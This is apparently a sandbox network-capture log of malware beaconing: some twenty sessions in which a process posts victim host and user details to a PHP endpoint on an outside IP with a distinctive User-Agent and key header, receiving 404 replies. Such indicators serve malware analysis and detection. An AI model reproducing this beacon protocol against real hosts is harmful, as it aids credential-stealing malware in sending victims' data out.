Oct 24, 2024 08:46:32.194843054 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 30 00 34 00 30 00 39 00 36 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus040965ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 24, 2024 08:46:33.151381016 CEST	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Thu, 24 Oct 2024 06:46:33 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.22	49200	94.156.177.220	80	3496	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 08:46:33.623204947 CEST	244	OUT	POST /logs/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F0B98DE8 Content-Length: 149 Connection: close
Oct 24, 2024 08:46:33.628717899 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 30 00 34 00 30 00 39 00 36 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus040965ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 24, 2024 08:46:34.578197956 CEST	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Thu, 24 Oct 2024 06:46:34 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.22	49201	94.156.177.220	80	3496	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 08:46:34.727951050 CEST	244	OUT	POST /logs/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F0B98DE8 Content-Length: 149 Connection: close
Oct 24, 2024 08:46:34.733383894 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 30 00 34 00 30 00 39 00 36 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus040965ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 24, 2024 08:46:35.676492929 CEST	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Thu, 24 Oct 2024 06:46:35 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.22	49202	94.156.177.220	80	3496	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 08:46:35.826720953 CEST	244	OUT	POST /logs/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F0B98DE8 Content-Length: 149 Connection: close
Oct 24, 2024 08:46:35.832084894 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 30 00 34 00 30 00 39 00 36 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus040965ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 24, 2024 08:46:36.783468008 CEST	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Thu, 24 Oct 2024 06:46:36 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.22	49203	94.156.177.220	80	3496	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 08:46:37.008929014 CEST	244	OUT	POST /logs/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F0B98DE8 Content-Length: 149 Connection: close
Oct 24, 2024 08:46:37.014681101 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 30 00 34 00 30 00 39 00 36 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus040965ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 24, 2024 08:46:37.966773033 CEST	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Thu, 24 Oct 2024 06:46:37 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.22	49204	94.156.177.220	80	3496	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 08:46:38.143923044 CEST	244	OUT	POST /logs/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F0B98DE8 Content-Length: 149 Connection: close
Oct 24, 2024 08:46:38.149338007 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 30 00 34 00 30 00 39 00 36 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus040965ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 24, 2024 08:46:39.114550114 CEST	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Thu, 24 Oct 2024 06:46:38 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.22	49205	94.156.177.220	80	3496	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 08:46:39.254206896 CEST	244	OUT	POST /logs/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F0B98DE8 Content-Length: 149 Connection: close
Oct 24, 2024 08:46:39.259708881 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 30 00 34 00 30 00 39 00 36 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus040965ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 24, 2024 08:46:40.223529100 CEST	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Thu, 24 Oct 2024 06:46:40 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.22	49206	94.156.177.220	80	3496	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 08:46:40.373372078 CEST	244	OUT	POST /logs/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F0B98DE8 Content-Length: 149 Connection: close
Oct 24, 2024 08:46:40.378742933 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 30 00 34 00 30 00 39 00 36 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus040965ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 24, 2024 08:46:41.328737974 CEST	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Thu, 24 Oct 2024 06:46:41 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.22	49207	94.156.177.220	80	3496	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 08:46:41.474076033 CEST	244	OUT	POST /logs/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F0B98DE8 Content-Length: 149 Connection: close
Oct 24, 2024 08:46:41.479513884 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 30 00 34 00 30 00 39 00 36 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus040965ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 24, 2024 08:46:42.424623966 CEST	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Thu, 24 Oct 2024 06:46:42 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.22	49208	94.156.177.220	80	3496	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 08:46:42.558991909 CEST	244	OUT	POST /logs/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F0B98DE8 Content-Length: 149 Connection: close
Oct 24, 2024 08:46:42.564512968 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 30 00 34 00 30 00 39 00 36 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus040965ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 24, 2024 08:46:43.523212910 CEST	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Thu, 24 Oct 2024 06:46:43 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.22	49209	94.156.177.220	80	3496	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 08:46:43.673996925 CEST	244	OUT	POST /logs/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F0B98DE8 Content-Length: 149 Connection: close
Oct 24, 2024 08:46:43.679805994 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 30 00 34 00 30 00 39 00 36 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus040965ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 24, 2024 08:46:44.625430107 CEST	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Thu, 24 Oct 2024 06:46:44 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.22	49210	94.156.177.220	80	3496	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 08:46:45.029531956 CEST	244	OUT	POST /logs/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F0B98DE8 Content-Length: 149 Connection: close
Oct 24, 2024 08:46:45.035156965 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 30 00 34 00 30 00 39 00 36 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus040965ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 24, 2024 08:46:45.984025002 CEST	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Thu, 24 Oct 2024 06:46:45 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.22	49211	94.156.177.220	80	3496	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 08:46:46.135194063 CEST	244	OUT	POST /logs/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F0B98DE8 Content-Length: 149 Connection: close
Oct 24, 2024 08:46:46.148099899 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 30 00 34 00 30 00 39 00 36 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus040965ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 24, 2024 08:46:47.107070923 CEST	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Thu, 24 Oct 2024 06:46:46 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.22	49212	94.156.177.220	80	3496	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 08:46:47.872925043 CEST	244	OUT	POST /logs/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F0B98DE8 Content-Length: 149 Connection: close
Oct 24, 2024 08:46:47.878298044 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 30 00 34 00 30 00 39 00 36 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus040965ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 24, 2024 08:46:48.810715914 CEST	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Thu, 24 Oct 2024 06:46:48 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.22	49213	94.156.177.220	80	3496	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 08:46:49.163932085 CEST	244	OUT	POST /logs/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F0B98DE8 Content-Length: 149 Connection: close
Oct 24, 2024 08:46:49.169375896 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 30 00 34 00 30 00 39 00 36 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus040965ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 24, 2024 08:46:50.129101992 CEST	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Thu, 24 Oct 2024 06:46:49 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.22	49214	94.156.177.220	80	3496	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 08:46:50.268229008 CEST	244	OUT	POST /logs/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F0B98DE8 Content-Length: 149 Connection: close
Oct 24, 2024 08:46:50.273713112 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 30 00 34 00 30 00 39 00 36 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus040965ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 24, 2024 08:46:51.214497089 CEST	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Thu, 24 Oct 2024 06:46:51 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.22	49215	94.156.177.220	80	3496	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 08:46:51.362858057 CEST	244	OUT	POST /logs/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F0B98DE8 Content-Length: 149 Connection: close
Oct 24, 2024 08:46:51.369260073 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 30 00 34 00 30 00 39 00 36 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus040965ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 24, 2024 08:46:52.324593067 CEST	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Thu, 24 Oct 2024 06:46:52 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.22	49216	94.156.177.220	80	3496	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 08:46:52.480187893 CEST	244	OUT	POST /logs/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F0B98DE8 Content-Length: 149 Connection: close
Oct 24, 2024 08:46:52.485585928 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 30 00 34 00 30 00 39 00 36 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus040965ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 24, 2024 08:46:53.452478886 CEST	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Thu, 24 Oct 2024 06:46:53 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.22	49217	94.156.177.220	80	3496	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 08:46:53.618575096 CEST	244	OUT	POST /logs/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F0B98DE8 Content-Length: 149 Connection: close
Oct 24, 2024 08:46:53.624164104 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 30 00 34 00 30 00 39 00 36 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus040965ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 24, 2024 08:46:54.556412935 CEST	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Thu, 24 Oct 2024 06:46:54 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.22	49218	94.156.177.220	80	3496	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 08:46:54.749501944 CEST	244	OUT	POST /logs/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F0B98DE8 Content-Length: 149 Connection: close
Oct 24, 2024 08:46:54.754980087 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 30 00 34 00 30 00 39 00 36 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus040965ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 24, 2024 08:46:55.732450962 CEST	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Thu, 24 Oct 2024 06:46:55 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.22	49219	94.156.177.220	80	3496	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 08:46:55.930401087 CEST	244	OUT	POST /logs/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F0B98DE8 Content-Length: 149 Connection: close
Oct 24, 2024 08:46:55.935933113 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 30 00 34 00 30 00 39 00 36 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus040965ALBUS-PC0DE4229FCF97F5879F50F8FD3
